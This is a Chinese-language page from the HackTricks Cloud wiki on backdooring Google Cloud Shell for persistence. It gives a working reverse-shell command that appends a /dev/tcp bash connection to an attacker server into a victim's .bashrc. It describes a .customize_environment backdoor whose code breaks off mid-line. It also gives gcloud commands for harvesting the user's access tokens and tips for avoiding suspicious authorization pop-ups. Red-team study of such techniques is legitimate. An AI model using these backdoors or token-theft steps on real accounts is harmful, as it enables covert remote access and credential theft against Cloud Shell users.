GCP - Cloud Shell 持久化
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Cloud Shell
更多信息请查看:
持久化 Backdoor
Google Cloud Shell 为你提供了从浏览器直接访问云资源的命令行访问,且无需任何相关费用。
你可以通过 web 控制台 或运行 gcloud cloud-shell ssh 来访问 Google 的 Cloud Shell。
该控制台对攻击者有一些有趣的能力:
- Any Google user with access to Google Cloud 有权限访问一个完全认证的 Cloud Shell 实例(Service Accounts 也可以,甚至组织的 Owners)。
- 如果没有活动,该实例将至少保留其主目录 120 天。
- 组织无法监控该实例的活动。
这基本意味着攻击者可以将一个 backdoor 放在用户的主目录中,只要用户每至少 120 天连接一次 GC Shell,backdoor 就会存活,并且攻击者每次运行它时都能获得一个 shell,只需执行:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```家目录下还有另一个名为 .customize_environment 的文件,如果存在,每次用户访问 cloud shell 时都会被执行(如前一个技术所述)。只需插入之前的 backdoor 或者像下面这样的一个,以便在用户“经常”使用 cloud shell 时维持 persistence:
创建 .customize_environment backdoor
```bash #!/bin/sh apt-get install netcat -y ncWarning
需要注意的是,首次执行需要身份验证的操作时,用户浏览器会弹出授权窗口。必须先接受该窗口,命令才能运行。如果出现意外的弹窗,可能会引起怀疑并有可能暴露所使用的持久化方法。
This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:
.png)
然而,如果用户已经主动使用过 Cloud Shell,弹窗将不会出现,你可以通过以下方式收集该用户的令牌:
从 Cloud Shell 获取访问令牌
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```SSH 连接如何建立
基本上,使用以下 3 个 API 调用:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (会让你添加在本地创建的公钥)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (会启动该实例)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (会告诉你 google cloud shell 的 IP)
参考资料
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

